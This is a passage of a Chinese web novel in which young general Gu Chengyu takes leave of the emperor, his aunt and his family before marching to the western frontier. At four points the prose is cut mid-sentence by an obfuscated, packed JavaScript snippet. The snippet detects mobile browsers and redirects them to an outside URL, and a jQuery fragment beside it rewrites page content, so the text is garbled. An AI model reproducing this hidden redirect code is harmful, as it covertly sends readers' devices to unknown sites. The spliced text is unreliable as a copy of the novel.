顾子佩也安分了,不再跟着起哄,每日只是低着头写字读书。钟荀彧还在养伤,据说再过一月便能回书院了。 霍凌霜还是那个霍凌霜,嘴上从不饶人。她站在书院那棵老槐树下,叉着腰,昂着头,对着空荡荡的院子大声说道:“宋含章,你这个胆小鬼!是不是怕了我,找一个地方躲起来当缩头乌龟了?有本事你回来,我们再比一场——比抓蛇,比吃蛇胆,比做木鸢,比造火药,比什么都行!”她说完,没有人回应。 风穿过老槐树的枝叶,发出沙沙的声响,像是谁在轻声叹息。 顾子衿每日散学回来,饭后都会在顾府的佛堂里,跪在蒲团上,双手合十,对着那尊观世音菩萨像,一遍一遍地祈祷。 她不相信宋含章是去找什么神仙了。她只相信,含章只是暂时离开了,去了一个能让她的心歇一歇的地方。只是去游山玩水去了,去看那些她在书里读过的大山大河,去散一散心里那积攒了十年的委屈——等散完了,就该回来了。 她还欠着含章一条命,这份债,她一定要当面还。 沈十安呢?被关在家里,禁足三月。沈老夫人亲自下的令,每日除了读书习字,便是跪在祖宗牌位前反省,不许踏出房门半步。 他以前天天盼着宋含章离开京城,离他越远越好;如今她真的走了,他却发现自己并没有想象中那么高兴。 他总想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618719|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那天在悬崖边,他站在曾思雨身后,看着钟荀彧掉了下去,看着宋含章伸出去的那只手——那只什么都没抓住的手。他什么都没做,只是站在那里望风。 望风,就是帮凶。祖母说得对。他把这句话反复咀嚼了无数次,每一次都嚼出新的苦涩。 听说千纸鹤可以保佑人平安。顾承泽起初不信,后来有一天他偷偷折了一只,放在窗台上,对着月亮许了一个愿。第二天那只纸鹤被风吹走了,他又折了一只。 从那天起,他便每日叠一只千纸鹤,叠好了便放在窗台上,用一颗小石子压着。他叠得不好,翅膀一边大一边小,身子歪歪扭扭的,可他叠得极认真,每一道折痕都按了又按。 他想,如果叠满一千只,也许就能保佑宋含章平安了。他没有告诉任何人这件事,只是在每天叠完一只之后,对着窗外的月亮,在心里默念一句话——那日被马踩的伤,还疼吗? 西疆的风终于吹到了京城,吹过顾府的院墙,吹动了廊下的灯笼,也吹响了檐角的风铃。顾承宇即将出征。 钟廷亲自备好了粮草与军饷。他站在国库门口,拿着账册,一笔一笔地核对着每一车粮食、每一箱兵器、每一袋银两,分毫不差,精确到了每一粒米、每一文钱。 可他给靖王爷的军队拨去的饷银,却比往年多了一道又一道的审核手续,每一笔都要反复查验,账面上滴水不漏,谁也挑不出毛病,可那银子拖上两个月再发,拖得靖王爷有苦说不出。这便是他钟廷的作风——恩必还,仇必报。 清风居里,海棠花开始谢了,枝头只剩下郁郁葱葱的绿叶。 顾承宇站在廊下,面前单膝跪着四个身着劲装的暗卫——飞鹰、夜鹰、黑鹰、雪鹰。 四人皆是跟随他多年的死士,从西疆的战场上便跟着他,每一个都曾为他拼过命。当然,他也从死人堆里将四人刨出来过。 “西疆战场上,那敌人是看得见摸得着的,刀对刀枪对枪,真刀真枪地拼杀,我不怕。可京城这趟浑水里——”他顿了顿,目光在四人脸上逐一扫过,那目光里有托付,有信任,也有一份不容置疑的决断,“敌人藏在暗处。朝堂上的博弈,后宫的算计,各方势力的明争暗斗,稍有不慎,便会让人咬住脖子,死都不知道怎么死的。我走之后,你们务必保护好顾家上下——祖母、母亲、二婶、子衿、承泽、子佩,一个都不能少。再有,该盯的人,绝对不能放过。” 飞鹰抬起头,目光坚定如铁:“公子放心,属下定当以命相护,人在家在。” 顾承宇点了点头。他知道,这四个人的命,就是他在顾家布下的最后一道防线。 40. 顾家军在,山河无恙 出征前,皇上召见了顾承宇。 御书房里,苦楝树的花已经开始零落了。那些紫色的花瓣从枝头无声地飘落,偶有微风拂过,花瓣便轻轻扬起又落下,美丽极了。 顾承宇一身黑色劲装,身姿挺拔如出鞘的剑,迈着沉稳的步伐走进御书房。他单膝跪地行礼,然后站直身子,从容镇定地立在书案前,那脊梁如同西疆的树——宁折不弯,千年不倒。 龙椅上的皇上看着眼前这个年少却一身浩然正气的少年将军,心中不由暗自赞叹:也只有顾府那样的将门,才能培养出这般英武、这般正气的男儿。这般少年,假以时日,必是宁国的栋梁之材,是未来战场上最锋利的刀,最坚固的盾。 皇上没有寒暄,开门见山地说道:“如今西疆边境不稳,西夷王大有吞掉宁国的势头。他集结了各部兵马,来势汹汹,比以往任何一次进犯都更凶猛。宁国的安稳,朕便交给顾家军了。” 顾承宇看着皇上,目光毫不躲闪,掷地有声地说道:“请陛下放心,有顾家军在,西疆定会无恙,宁国山河定会无恙。” 皇上听了这雄心壮志的话,微微颔首。他从书案上拿起一封早就写好的信件,站起身来,走到顾承宇面前,将信件递到他手中,神色郑重地说道:“将此信件交给顾将军。告诉他,放心在前线杀敌,朕必定保护好你姑姑、行健、子健和幽兰,也必定护好你顾家。这封信,是朕的亲笔,是朕的承诺。” 顾承宇双手接过信件,低头看了一眼那封信——信封上盖着御玺的红印,旁边还有一行小字:“顾恩亲启”。他抬起头,看着皇上那双眼睛里少有的真诚——那不是一个帝王对臣子的安抚,更像是一个人对另一个人的托付。 顾承宇没有多言,只是躬身说道:“微臣遵旨。” 皇上伸出手,重重地拍了拍顾承宇的肩膀。那一掌落下去,是沉甸甸的期许。他朗声说道:“你是朕亲封的少年将军,此去西疆,望你雄鹰展翅破长空,击败敌人。朕,等你凯旋,等顾将军凯旋,等你们父子一同回京。” 顾承宇一撩衣摆,单膝跪地,抱拳说道:“请陛下放心,西疆有顾家,不会破。” 皇上弯下腰,亲手将他扶起。两人近在咫尺,皇上看着他的眉眼,忽然放低了声音,语气里多了一丝不属于帝王的柔软:“你姑姑一定在等你。去看看吧——你出征,她舍不得。” 顾承宇微微一顿,随即说道:“谢陛下,微臣告退。” 翠微宫里,顾贵妃亲自下厨,挽起袖子,在那间小厨房里忙碌了一整个早晨。 她早已备好了一桌顾承宇爱吃的菜肴——清蒸鱼、葱爆羊肉,水晶虾仁……还有一大碗热气腾腾的鸡汤。 她的眼睛里带着许久不曾出现的光亮——那种光,在六年前被禁足之后就很少看见了,今日却因为侄子的到来,又亮了。 箫行健、箫子健、箫幽兰三兄妹早早就等在翠微宫门口,踮着脚尖,伸长脖子,朝宫道尽头张望。 他们左顾右盼,等得心急如焚,终于看见顾承宇的身影出现在宫道的拐角处——一身黑衣,步伐稳健,像一棵移动的松树。 于是,三个孩子同时朝着顾承宇飞奔而去,箫幽兰跑在最前面,嘴里喊着“表哥表哥”,两条小短腿甩得飞快。 顾承宇见之,也加快脚步,三步并作两步跑到三个孩子身边。他弯下腰,一把将箫行健捞起来架在肩上,然后左手抱起箫子健、右手抱起箫幽兰,三个孩子像三只猴子一样挂在他身上,咯咯地笑着。他就这样架着一个抱着两个,跨进了翠微宫的大门。 顾贵妃听见动静,从厨房里探出头来,一见这阵仗,赶紧擦了把手走出来,嗔怪道:“你们三人,无法无天,竟然如此折腾兄长——行健,快下来,表哥明日还要赶路。”随后,她看着顾承宇,无奈地摇了摇头,“你啊,就惯着他们吧。” 顾承宇笑了笑,那笑容里有几分少年人才有的纯然,也有几分沙场老将才有的宠溺:“姑姑,他们还小,得赶紧抱抱。以后长大了,想抱都不让了。行健都快到我肩膀了,再过两年怕是想扛都扛不动了。” 顾贵妃笑起来,那笑容里有欣慰,也有一丝不易察觉的心酸——她想起自己的兄长。她赶紧让箫行健他们下来,让顾承宇坐在饭桌前。桌上菜肴摆得满满当当,每一道都是西疆吃不到的家常味。 顾承宇看着满桌都是自己喜欢的菜,二话不说,拿起筷子,如同西疆那豪爽的将士,大口大口地吃了起来。那吃相没有半分侯门世子的矜持,倒有几分沙场点兵的痛快。 顾贵妃坐在一旁,一个劲儿地给顾承宇夹菜,筷子不停地往他碗里堆。箫行健、箫子健、箫幽兰也学着母妃的样子,争先恐后地给表哥夹菜,三双小手拿着筷子笨拙地夹菜,有几次差点掉在桌上,又手忙脚乱地接住,然后一脸认真地放进顾承宇的碗里。 饭后,孩子们被打发去院子里玩耍。顾承宇与顾贵妃相对而坐,说了一些贴心的话。 顾贵妃看着侄子,目光里满是疼爱和牵挂:“西疆边境生活艰辛,风沙大,吃不好睡不好,你一定要保护好自己——战场上刀枪无眼,不要逞强,不要冲在最前面。姑姑在这里等你,你一定要平安回来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人还仰着小脸,用稚嫩却认真的声音说:“表哥,以后长大了,我们要去西疆上阵杀敌!我们也要像表哥一样,做少年将军!” 顾承宇蹲下身,看着两张认真的小脸,笑了。那笑容里带着兄长对弟弟的疼爱,也带着一个将军对未来的期许。 他伸手揉了揉两个孩子的脑袋,说道:“好。届时表哥带你们去看看西疆的大漠、飘雪、落日和关山——让你们看看,什么是真正的山河。” 箫行健和箫子健用力地点了点头,那两双明亮的眼睛里,已经装下了一片他们尚未踏足却已经心心念念的辽阔天地。 41. 出征前夜,家人夜话 西疆战事将起,顾承宇即将出征。此时的顾府,变得安静下来。那些平日里穿梭往来的仆从放轻了脚步,廊下的灯笼被风吹动也不再发出声响,连院子里的槐花落在地上的声音都仿佛清晰可闻。 整座侯府像是被一层看不见的薄纱笼罩着,所有的喧哗都被压在了底下,只剩下一种沉甸甸的、说不出口的牵挂。 顾老夫人跪在佛堂的蒲团上,双手合十,闭着双眼,嘴唇微微翕动。她面前供着一盏长明灯,灯芯在酥油里静静地燃着,火苗纹丝不动。 她在为两个儿子、孙子和顾家军求平安——为远在西疆的顾恩和顾典,为即将奔赴战场的顾承宇,为顾家麾下那千千万万个别人的儿子、别人的丈夫、别人的父亲。 她这一生,送走了丈夫,送走了两个儿子,送走了二孙子,每一次佛前的祈祷都不曾断过,可佛还是收走了她最爱的人。 即便如此,她仍然跪在这里,把能求的都求一遍,把能念的经都念一遍。她相信佛能听见,就像她相信顾家的儿郎,无论走多远,都会回家。 顾大夫人和顾二夫人在各自的房间里,正将早就亲手缝制好的衣衫、鞋履一件一件地叠好,放进行囊中。那些衣裳有春夏的薄衫,有秋冬的厚袄,四个季节的都有——西疆冬春苦寒,她们还为丈夫缝制了护膝和厚袄,膝盖处夹了一层新絮的棉花,领口缝了可以拉起来遮住口鼻的挡风布。这些衣衫的一针一线,皆是一个妻子对戍边丈夫的思念。 顾大夫人缝着缝着,针忽然扎到了手指,一颗血珠冒了出来,她也不觉得疼,只是把手指含在嘴里吮了吮,继续缝。顾二夫人则是把每件衣裳都叠了又叠,抚了又抚,仿佛这样就能把自己的体温也叠进去,让丈夫在苦寒之地也能感受到家的温暖。 顾承宇从宫里回来时,日头已西斜。他先去佛堂,站在门外,隔着半掩的门扉看见祖母跪在蒲团上的背影——那背影挺直,花白的发髻一丝不苟,在长明灯的光晕里镀了一层淡淡的金边。他没有打扰,只是默默地站了片刻,然后转身朝着祠堂走去。 祠堂里,顾家列祖列宗的牌位错落排列。香案上供着四季的瓜果,两侧点着长明灯,灯油快燃尽了,火苗微微晃动。 老侯爷顾稳的牌位在最显眼的位置,那牌位被擦拭得一尘不染,上面的金字依然清晰如初。 老侯爷牌位的两边,分别是二子顾忠、三子顾诚、孙子顾承明的牌位。四块牌位并排而立,像是他们在世时并肩作战的队形。 顾承宇噙着泪水走近牌位,脚步很轻,像是怕打扰了那些安息的英魂。 他伸出手,指尖轻轻地抚过祖父的牌位、二叔的牌位、三叔的牌位,最后停在弟弟顾承明的牌位上,摩挲着那块冰凉的黑木。 此时此刻,有千言万语冲击着胸腔——他想说,他记得祖父教他握剑时那双粗糙的手,记得二叔教他骑马时永远站在马头旁边护着的身影,记得三叔每次打猎归来给他带的野兔,记得承明跟在他身后冲锋时大喊的那一声“哥,我不怕”。 可是他知道,祖父、二叔、三叔和弟弟不想听这些。他们不想听他说想念,不想听他说愧疚——他当年答应母亲把弟弟平安带回来,却只带回来一副铠甲。他们只想听到凯旋的战歌。 他拿起三炷香,在长明灯上点燃,恭恭敬敬地插进香炉,青烟袅袅升起,在牌位前缭绕不散。然后他跪在地上,对着列祖列宗的牌位磕了三个响头,额头触地的声音在空旷的祠堂里回响,一下,两下,三下。随后,他起身,用袖子擦了一下眼角,转身朝着伙房走去。 伙房里,顾大夫人两臂绑着襻膊,正在灶台前做菜。她炒菜的动作不急不缓,锅铲与铁锅碰撞的声音在安静的午后格外清晰。灶台上已经摆了好几道菜——清蒸鱼、葱爆羊肉……都是承宇从小就爱吃的。 顾承宇靠在门框上,双手环抱在胸前,静静地看着母亲。他没有开口说话,母亲也没有回头,仿佛都不知道彼此的存在。可那锅里翻炒的每一下,那火候掌控的每一分,都是一个母亲能给的最后的陪伴。菜快出锅时,他悄悄地退了出去,没有让母亲发现自己来过。 一辆马车停在顾府门口。散学的顾子衿、顾子佩、顾承泽下车,踏进了门,来到前厅。他们都知道明日大哥便要出征,今天这一顿饭,是送行宴。 前厅里,顾老夫人坐在上位,顾大夫人和顾二夫人分列两旁,顾承宇紧挨着母亲坐着。桌上的菜满满当当,都是顾大夫人和顾二夫人亲手做的,每一道都冒着热气。 顾子衿、顾子佩和顾承泽的眼睛一进门就红了。顾子衿咬着嘴唇,低着头,不肯让眼泪掉下来。顾承泽攥着拳头,使劲眨了眨眼睛,假装是被风吹的。顾子佩的眼眶已经蓄满了水,只是今天她格外安静,什么话都没有说。 顾老夫人看了他们一眼,声音平静而慈祥,打破了那几乎要溢出来的伤感:“还不赶紧坐下,好好陪陪你们大哥。” 顾子衿三人坐下。饭桌上,没有伤感的话,也没有祝福的话,全是四个人小时候的糗事——顾承宇五岁时爬树掏鸟窝被老侯爷罚站,顾子衿三岁时跟在他后面学骑马结果被马尾巴扫了一脸,顾承泽六岁时偷穿顾承宇的铠甲结果被压得站不起来,顾子佩刚学会走路时追在大哥身后喊“哥哥抱”结果摔了个嘴啃泥。大家一边笑一边说着,仿佛忘记了明日的离别。仿佛只要不说出“保重”和“平安”,离别就不会真正到来。 夜晚的松鹤堂里,灯火依旧亮着。顾老夫人坐在外间的太师椅上。她在等待两个儿媳妇的到来。 顾家家风清正,兄友弟恭,妯娌和睦,这都是顾老夫人几十年如一日教育的结果。 她对两个儿子一视同仁——顾恩和顾典,一个是大将军,一个是偏将,可在她眼里都是儿子;对两个儿媳妇和几个孙子孙女都是一碗水端平,从不偏袒哪一个,也从不冷落哪一个。 烛火摇曳着,照在她脸上的皱纹里,那些皱纹像是被岁月用刀一笔一笔刻出来的,每一道都藏着一个故事。她今晚临时做了个决定——让两个儿媳妇明日随承宇一同去西疆。 过了一会儿,顾大夫人和顾二夫人踏进了外间。两人走得很轻,走到婆母面前,恭敬地行了一礼。她们对视了一眼,眼里都有疑问——这么晚了,母亲单独叫她们来,是为了什么? 顾老夫人看着两个儿媳妇,嘴角勾起了笑容。她的目光在两张脸上逐一停了片刻——大儿媳温婉内敛,二儿媳活泼爽利,两个都是她亲自挑选、三媒六聘求娶回来的顾家媳妇。 她缓缓开口,声音里带着几分感慨:“顾家真是有幸,得了你们两位贤惠的儿媳妇。这些年,你们一个送走了承明,一个日夜惦着典儿,却从不在人前落泪。我这个做婆母的,都看在眼里。” 顾大夫人和顾二夫人赶紧低下头,分别说了一些谦逊的话——大夫人说“这是儿媳分内的事”,二夫人说“有母亲在,我们才有主心骨”。 顾老夫人接着说道:“恩儿和典儿还是两年前回来过。那一次是因为老侯爷的忌日,兄弟俩赶了千里路,也只是在府里待了十天,便又起身返回西疆。他们没有妾室,远在边关,身边没有一个贴心照顾的人——衣裳破了没人补,生了病没人守在床边,冬日里营帐冷得像冰窖,喝口热水都是奢望。他们不仅要费神对付敌人,夜晚里还要一个人熬过那孤寂的日子,只有风声和远处的狼嚎作伴。” 她顿了顿,目光在两个儿媳妇脸上缓缓扫过,“你们呢,也辛苦。白日里忙着教育儿女,管理府中的事务——大大小小的账目要看,仆人们的事要管,孩子们的功课要问,府外的应酬也要去。可到了夜晚,你们都和我这把老骨头一样,在想念远方的丈夫吧。” 顾大夫人和顾二夫人听了,都没有说话。她们低垂着头,可那微微颤抖的睫毛和攥紧了的袖口已经出卖了她们。 的确,她们每晚都在思念远方的丈夫。顾大夫人总是站在院子里,望着西边的那颗星出神,一站就是大半个时辰。 顾二夫人则是在睡前反复翻看顾典寄回来的信——那信她已经看了几百遍,纸张都磨出了毛边,可还是舍不得放下。 她们都希望自己的丈夫能够陪在身边,能够平平安安的,能够在冷的时候有人添衣,累的时候有人说句话。可是每次想到丈夫们还要多久才能回来,她们就不敢往下想了。 顾老夫人站起来,走到两个儿媳妇面前,伸手拉住了她们的手。她的手干燥而温暖,布满了皱纹——那是一个撑了一辈子家的女人的手。她说:“赶紧准备着,明早与承宇一起出发。” 顾大夫人和顾二夫人听了,猛地抬起头,倍感震惊,几乎不敢相信自己的耳朵。她们对视了一眼,又同时看向婆母,以为自己听错了。三年前她们也曾提过想去西疆,可顾老夫人说路上太远太苦,没有允。 顾老夫人看着她们那震惊的模样,故意板起脸问:“怎么,不想去找你们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618721|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫君?” 顾大夫人和顾二夫人没有回答——她们被这突如其来的恩典惊得忘了回答。 顾老夫人松开她们的手,缓缓坐回太师椅上,淡淡地说了一句:“不去就算了吧。” 顾二夫人率先回过神来。她一个箭步冲上前,双手紧紧拉住婆母的手,急切地说道:“母亲,母亲——儿媳去,儿媳当然要去!我这就回去收拾东西,不,我已经收拾好了——那些衣裳鞋袜本来就打算让人捎去的,现在我自己带去!”她说着,眼圈已经红了,声音有些发抖。二十几岁的人了,此刻却像个被准许出门的小姑娘。 顾老夫人抬起头,看着安静站在一旁的顾大夫人,轻声问道:“怎么,你不想去?” 顾大夫人较为内敛,她的心里早就翻江倒海了,可面上还是忍着。她温声说道:“母亲,我与弟妹都去了,这府里的重担就全都落在您一个人的身上了。您年事已高,身体又不比从前,儿媳怎能在这个时候离开呢。还是让弟妹去吧,我留在府里伺候您。” 顾老夫人伸出手,拉住了顾大夫人的手。她的手微微发颤,眼里突然含满了泪水,那泪水在烛光下闪着光,却没有掉下来。 她的声音比方才低沉了许多,带着一种只有母亲才有的疼惜:“让你去你就去。明儿在那里躺了四年了——你总得去看看他,知道他坟墓的位置,知道他站在什么方向吧。他这个做儿子的没能回来见你最后一面,你这个做娘的,总要去看看他埋在哪里,让他知道你从来没有怪过他。”她顿了顿,抬起另一只手覆在顾大夫人的手背上,把她的手紧紧包在两掌之间,“这府里有我呢。我虽然老了,骨头还硬朗。再说了,承宇留下了暗卫,你就放心去吧。去告诉明儿,祖母也想他。” 听了此话,顾大夫人再也绷不住了。泪水从眼眶里滚落而下,一颗接一颗,落在衣襟上,落在婆母的手背上。 四年来,她从不在人前哭——承明阵亡的消息传来时,她只是把自己关在房里一夜,第二天便像什么都没发生过一样操持家务。可此刻婆母提起明儿的坟墓,她心里那堵墙终于塌了。 她紧紧抓着胸口,衣襟被抓出了深深的褶皱,声音哽咽而破碎:“母亲——儿媳去,儿媳去。我要去看看明儿,我要去告诉他,我从来没有怪过他,我每天都想他。” 顾老夫人伸出手,温柔地替顾大夫人擦去脸上的泪水,那动作轻柔得像在擦一个孩子脸上的泪痕。 然后她转过身,看着顾二夫人,换上了一副严肃的表情,语气不容置喙:“我可告诉你——你是带着任务而去的。这次回来,你不带三个孩子回来,你就不要进顾家的门了。顾家的人丁需要兴旺,你和典儿还年轻,是咱们顾家开枝散叶的希望。” 顾二夫人一听,脸微微红了,却毫不扭捏地拍着胸脯说道:“母亲放心,儿媳空手而去,一定满载而归!不过——”她眼珠一转,伸出一根手指算了算,“三个孩子,就是一年生一个,也得三年啊!儿媳可没有宋夫人那样的福气,一次能生俩。大嫂也有福气,承宇和承明也是双生子,可惜承明……” 顾老夫人打断了她,语气里带着几分老小孩的倔强:“反正我不管,你就是想办法也得生三个回来。我年纪大了,想过几年儿孙绕膝的热闹日子,就指望你了。” 顾二夫人赶紧连声答应:“好好好,我生两个,大嫂生一个——这样刚好三个。” 刚刚停止哭泣的顾大夫人被二夫人这没遮没拦的话闹了个红脸,嗔道:“我年纪大了,怎么还能生孩子?” 顾老夫人听了就不高兴了,板起脸来,语气却满是慈爱与笃定:“你也才三十五岁,哪里不能生?你看洪楚离他娘,四十了还生了一个闺女呢,母女平安,满月酒我还去吃了。反正我不管——老大媳妇带一个回来,老二媳妇带两个回来。我这当娘的,就指望你们了。” 一旁负责照顾顾老夫人的老嬷嬷听了这话,忍不住抿起嘴角偷偷笑了起来。烛火跳了跳,满室暖黄的光晕里,三个女人的身影靠在一起,笑声和哭声交织成了顾府这个夜晚最温柔的声音。 这一夜,顾大夫人并未睡觉。她在小厨房里忙碌了一整夜,给已经长眠的儿子做他最喜欢吃的千层糕。和面,调馅,上笼,每一个步骤都做得极慢极认真,像是在用这最后的仪式与儿子说再见——不,不是再见,是“娘来看你了”。蒸笼里冒出的白气在夜空中袅袅升起,混着桂花和糯米的清香,飘出了很远很远。 42. 山坡远望,你一定要平安 第二日,红日初升,晨光将清风居的屋檐染成了金红色。 顾承宇的房间里,顾大夫人亲自为儿子穿上戎装,束起长发。她不言不语,手指在铠甲之间穿梭,系好每一个搭扣,理平每一处褶皱,动作温柔而缓慢。 可眼里的泪,一颗一颗地落下,落在铠甲上,落在胸前的护心镜上,无声地滑落又无声地蒸发。儿行千里母担忧,更别说是送儿子上战场了。 她害怕,太害怕了。四年前,她也是这样,亲手为大儿子顾承宇和二儿子顾承明穿上戎装,束好长发,送他们随父亲出征。可是回来时,大儿子顾承宇骑着马,带着顾承明的铠甲。二儿子顾承明,战死疆场,埋在了西疆,连最后一面都没有见到。 这四年来她无数次梦到承明在梦里喊娘,醒来时枕头是湿的,可她从不在人前哭。儿子的铠甲就在她的房间,每晚睡觉前她都要摸无数遍。 此刻她的手指穿过承宇的发间,心里翻涌着太多说不出口的话,可每一个字都被恐惧堵在了喉咙里。 顾承宇看着母亲的泪珠,也不言不语。此时此刻,如果他说一句话——哪怕只是轻轻唤一声“娘”——母亲必定会嚎啕大哭。 他知道,母亲心里的痛从没有真正愈合过,只是被时间盖上了一层薄薄的痂。此刻他若开口,那层痂就会全部裂开。所以他只是站着,让母亲替他束好长发,用沉默来保护她最后的坚强。 顾子衿站在顾承宇的身边,紧紧拉着哥哥的手,两只手都用上了,像是要用尽全身力气把他留在身边。泪珠一滴一滴落在顾承宇的手背上,滚烫的,又很快凉下去,再被新的泪珠覆盖。她低着头,不说话。 顾承宇反握着顾子衿的手,那只手握过剑、拉过弓、杀过敌,此刻却极其轻柔地包裹着妹妹的小手。他不言不语。 三人都不言不语,可是,此时无声胜过千言万语。因为想说的话太多太多,但怕说出来,徒增担忧——怕叮嘱了“保重”就真的需要保重,怕说了“平安”就真的需要祈求平安。既然如此,就算了吧,让眼泪来代替告别的话语。 招财一身戎装,站在顾承宇的房间门口。他与顾承宇一同光着屁股长大,小时候一起爬树,一起挨罚,一起偷吃厨房里的点心。 他与顾承宇虽是主仆身份,但更多的是同袍之情——他随顾承宇上过战场,见过他杀敌,也见过他受伤,生死之间早就不分彼此。此刻他站在那里,背挺得笔直,眼眶却已经红了。 大院里,那一棵正值花期的槐花树下,顾老夫人、顾二夫人、顾承泽、顾子佩正在等顾承宇从清风居里出来。 槐花开得正盛,一串串雪白的花穗从枝头垂下来,风一吹便簌簌地落,像是给院子铺了一层香雪。 顾二夫人一手拉着顾承泽,一手拉着顾子佩,蹲下身子,反复交代着他们要认真念书,要听祖母的话,不许再欺负书院里的同窗,每天睡前要给父亲和大哥祈福。她的语速很快,像是在有限的时辰里尽可能地把所有叮嘱都说完。 顾承泽和顾子佩郑重地点头答应,将母亲的话一字一句记在了心里。顾承泽的眼眶已经泛红,却硬撑着不哭——他昨晚偷听到了母亲要去西疆的消息,一夜都没睡好。 院中的这一棵槐花树,还是老侯爷娶顾老夫人进门时亲手栽种的。那一年她二八年华,他鲜衣怒马,两个人一人扶树一人培土,她在树下仰着脸笑,他说这棵树要陪咱们一辈子。 几十年过去了,丈夫战死疆场,两个儿子和孙子战死疆场,可这一棵槐花树一直根深叶茂,年年都繁花似锦,像是他从未离开过。 顾老夫人抬头看着槐花树,嘴角带着些许笑意。那笑意里有怀念,有温柔,也有一种只有经历过生死离别的人才有的坦然。 这棵树,是顾老侯爷对顾家的守护,也是顾家人对顾老侯爷的思念——每一朵花,都是他在天上看顾着这个家;每一片叶,都是他伸出来的手,依然在庇荫着他深爱的家人。 风吹起,满树的槐花簌簌作响。蝉鸣声忽然大噪,从树冠深处一阵阵地涌出来,高亢而热烈,像是专为顾承宇奏响的凯歌。 顾承宇一身戎装踏出清风居,来到大院的槐花树下。晨光从槐花的缝隙间洒落,斑斑驳驳地落在他银色的铠甲上,落在那一张年轻而坚毅的面庞上。 顾老夫人看见顾承宇,仿佛看见了年轻时的丈夫——同样的眉眼,同样的身姿,同样的那一股少年将军的气概。她顿了顿,稳住了心神。 顾承宇快步走到顾老夫人面前,双膝跪下,铠甲与青石地面碰撞发出一声清脆的响。他仰起脸,声音沉稳而郑重:“祖母,孙儿出发了。望您保重身体,等孙儿凯旋。” 顾老夫人赶紧弯下腰,伸出那双布满皱纹的手扶起顾承宇。她的手有些发抖,却依然有力地攥着孙子的手臂。 她伸手抚摸着孙子的脸,掌心贴着他的面颊,粗糙的指腹轻轻地摩挲着那道年轻的轮廓,像是要把他的模样印在掌纹里,带着眼泪却笑着,一字一句地说道:“顾家好儿郎,一定要凯旋归来。” 顾承宇笑着,那笑容明朗而笃定,语气铿锵有力,像是已经在心里说了千百遍:“祖母放心,孙儿一定平安回来。” 随后,顾承宇又与顾承泽和顾子佩告别。他拍了拍顾承泽的肩膀,看着他那红红的眼眶,低声说了一句“不许哭,要像个男子汉”;伸手摸了摸顾子佩的头,说“在家里要乖乖的,别再让祖母操心”。 顾承泽用力把眼泪憋了回去,挺直了腰杆,可嘴唇抖得厉害;顾子佩拉着大哥的手指不肯松,最后被顾二夫人轻轻拉开了。 顾老夫人、顾子衿、顾承泽和顾子佩把顾大夫人、顾二夫人、顾承宇送到了顾府门口。 顾大夫人和顾二夫人登上马车,掀开帘子向婆母挥手告别,她们的眼眶已经红了。 顾承宇与顾老夫人他们挥手作别,脸上带着笑容,然后跨上骏马,拿起缰绳,马鞭一甩,坐下的骏马扬起四蹄,在青石板路上踏出一串清脆的蹄声,飞奔离开。 招财和一队亲卫也骑着快马,紧紧跟随,马蹄声渐渐远去,转过街角便不见了踪影。 顾老夫人望着那离去的背影,忍了许久的泪水终于夺眶而出,老泪纵横。顾子佩紧紧攥着哥哥的手,泪眼滂沱。 顾承泽看着大哥的背影——那背影在马蹄扬起的烟尘里渐行渐远,却在他心里越来越清晰。 他忽然觉得,自己有了想成为的人。顾子衿,却不见了踪影——她刚才还站在祖母身边,此刻人已经没了。 正是离别愁绪最浓时,顾老夫人他们也没有注意到她。 城门楼,押送粮草和军饷的官员已等候多时。一车车的粮食、一箱箱的银两、一捆捆的箭矢整整齐齐地码在城墙根下,等着开拔的号令。 王修安、洪楚离、宋行简也早已候在城门楼——送顾承宇最后一程。 在此等待的,还有林太医。林太医,宁国的杏林圣手,平日里只在太医院坐诊,连皇亲国戚请他看病都要提前递帖子。 昨日收到皇上的圣旨,命他随顾承宇出征,为顾家军医治伤兵。他将自己的药箱收拾了又收拾,把他珍藏的续命丹和止血散全带上了,只给太医院留了个口信说“老夫去西疆了”,便翻身上马。 没一会儿,顾承宇来到了城门口。他翻身下马,先向林太医深深行了一礼——这一礼,是对一位年过花甲仍愿意奔赴前线行医救人的老者的敬意,也是替那些即将受伤的将士提前谢过。 林太医只是摆了摆手,说“医者本分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王修安伸手拍了一下洪楚离的头,笑容里难得地带了几分少年人的活泼:“要说宁国第一美男子,承宇和行简当之无愧并列第一,你最多算是老四。” 洪楚离不服气地瞪着他:“我居第四?那谁是第三?” 王修安抬起下巴,露出少有的傲娇神色,把手往自己胸前一指:“远在天边近在眼前,第三乃是本人也。” 洪楚离冷哼一声,从牙缝里挤出一个字:“——去。” 